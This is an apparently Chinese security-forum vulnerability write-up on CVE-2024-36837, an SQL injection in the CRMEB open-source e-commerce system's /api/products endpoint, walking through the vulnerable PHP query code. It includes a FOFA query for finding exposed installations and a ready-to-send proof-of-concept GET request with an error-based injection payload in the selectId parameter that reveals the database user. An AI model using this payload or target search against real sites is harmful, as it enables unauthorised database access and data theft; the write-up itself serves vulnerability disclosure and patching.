问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-36837CRMEB开源电商系统 /api/products SQL注入漏洞分析
漏洞分析
CVE-2024-36837CRMEB开源电商系统 /api/products SQL注入漏洞分析
CVE-2024-36837 CRMEB开源电商系统 /api/products SQL注入漏洞分析 ================================================== 产品介绍 ---- CRMEB开源电商系统是一款由西安众邦网络科技有限公司打造的全栈式电商解决方案,旨在为开发者和商家提供高性能、智能化的电商平台服务。该系统集成了CRM(客户关系管理)、ERP(企业资源规划)和EB(电子商务)的功能,通过深度结合这些功能,帮助用户快速构建稳定且功能丰富的在线商城 漏洞简述 ---- 该漏洞可以通过请求api的路径接口来进行SQL注入,进而可能导致敏感信息泄露,该注入可暴露后台web绝对路径,深入利用可获取服务器权限,该漏洞无前置条件且利用简单,建议受影响的用户尽快修复漏洞。 影响版本 ---- 5.2.2 以下版本 漏洞分析 ---- **提要**:该代码是一个框架的代码分析起来有些许麻烦 首先进入到`api/controller/pc/ProductController.php`中 ![image-20240915180040101](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-c0b0c1e5a43b862680e4e945b967680df7238473.png) 在这里有一个`getProductlist`方法用于获取商品列表 ![image-20240915180145562](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-79ff1164ddd90ab29d9bd5630cb02184a8cea5fc.png) **分析**:该方法说先是获取到请求中的参数(如sid、cid、selectId等)若请求中没有就设置为默认值,接着就是判断`selectID`以及`sid`或`cid`是否存在,若存在就调用 `$services` 对象的 `value` 方法,然后根据返回结果将`selectId`的赋值给`sid`或`cid`,然后就是对`ids`参数的设置操作,最后调用`getProductList`方法将执行的结果通过`json`的方式返回 接着来到`getProductList`方法中 ![image-20240915182113421](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-6c78aab1ed8aa428705df2764a5a173c714b1476.png) 分析:对where数组下的`is_show`,`is_del`、`vip_user`、`count`进行了相关设置,接着调用了`getPageValue`方法来获取分页的当前页码和每页显示的记录数,然后调用了`getSearchList`方法这似乎是进行了数据库的查询操作将值赋值给list,遍历list根据遍历的结果对`item`数组的star进行赋值,接着调用`getActivityList`来获取与产品相关的活动列表。然后对`data`的list键赋值,返回data。 接着我们来到`getSearchList`方法中 ![image-20240915182901742](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-e0c54e5057c8ac093e959e3134c2ee918d090504.png) 这段代码密密麻麻的一大片看起来很麻烦,我们抽取其中的一部分进行分析 ![image-20240915183112918](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-6a1b0f47cdd0ee236e145f455c7c5a4ef3b9e855.png) 我们分析这一小段: `$this->search($where, false)`:调用当前对象的 `search` 方法,传入查询条件 `$where` 和一个布尔值 `false`。我们进入到该方法中 ![image-20240915183719334](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-93e5e7b84de45192dff79fa698f3ce7184adfc75.png) 分析:先是判断了`where`是否存在,若存在就调用`withSearchSelect`,反之调用`getModel`,那肯定where是存在的呀 接着来到`withSearchSelect`方法中 ![image-20240915183928077](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-0fa2458e8f7c579d963e262222550f01e6f61dc5.png) 分析:该方法首先是调用`getSearchData`方法将返回结果赋值给`$with`(用于 `withSearch` 方法的搜索条件)以及`$otherWhere`(其他需要应用的查询条件),接着就是调用`getModel`方法获取当前模型的数据库查询构建器实例;然后调用`withSearch`方法允许你根据提供的字段和数据来构建搜索查询,接着就是当 `$search` 为 `true`,则会进一步应用 `$otherWhere` 条件,但是前面已经将其之设置为`false`进无法进入闭包的作用域中 ![image-20240915183112918](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-6a1b0f47cdd0ee236e145f455c7c5a4ef3b9e855.png) `search` 方法就分析完了,接着有调用了`with`方法用于指定查询中需要包含的关联关系。然后就是通过when方法判断是否`page`且`limit`不为0,若结果为true,那么就进入到闭包作用域中调用 `$query->page($page, $limit);` 来设置分页参数 when(isset($where\['sid'\]) && $where\['sid'\], function ($query) use ($where) { $query->whereIn('id', function ($query) use ($where) { $query->name('store\_product\_cate')->where('cate\_id', $where\['sid'\])->field('product\_id')->select(); }); 接着再次调用 `when` 方法,这次检查 `$where` 数组中是否存在 `'sid'` 键,并且该键的值不为空。如果条件为真,则执行闭包函数。在闭包函数中,使用 `use` 语句将 `$where` 变量引入闭包的作用域。在闭包函数内部,调用 `$query` 的 `whereIn` 方法来构建一个 `IN` 子句,用于筛选 `id` 字段完成这些之后,进入到子查询中,使用 `name` 方法指定查询的表名。然后,使用 `where` 方法添加条件,筛选 `cate_id` 字段。接着,使用 `field` 方法指定需要选择的字段 `product_id`。最后,调用 `select` 方法来执行子查询并获取结果。 这就完成了一个字段内容的获取整个`getSearchList`方法都是类似于上述描述的过程来完成sql语句的执行操作,尽管十分复杂分析起来,但是我们发现这个sql语句的执行过程中并没有进行任何过滤限制,进而造成了sql注入的形成 资产测绘 ---- **fofa** body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB" ![image-20240915190251287](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-4e58566005dde6ff0a7774fd9363c32fa7979f2d.png) 漏洞复现 ---- **poc** GET /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID\_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,user()))),0x7e),3550) HTTP/1.1 Host: Accept: application/json, text/plain, \*/\* Authori-zation: Bearer null Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ![image-20240915170017697](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-ed1d128364917b9c5b4d0ad8661262b3765c5f1e.png) 修复建议 ---- 更新至最新版本即可
发表于 2024-09-20 18:04:23
阅读 ( 4852 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!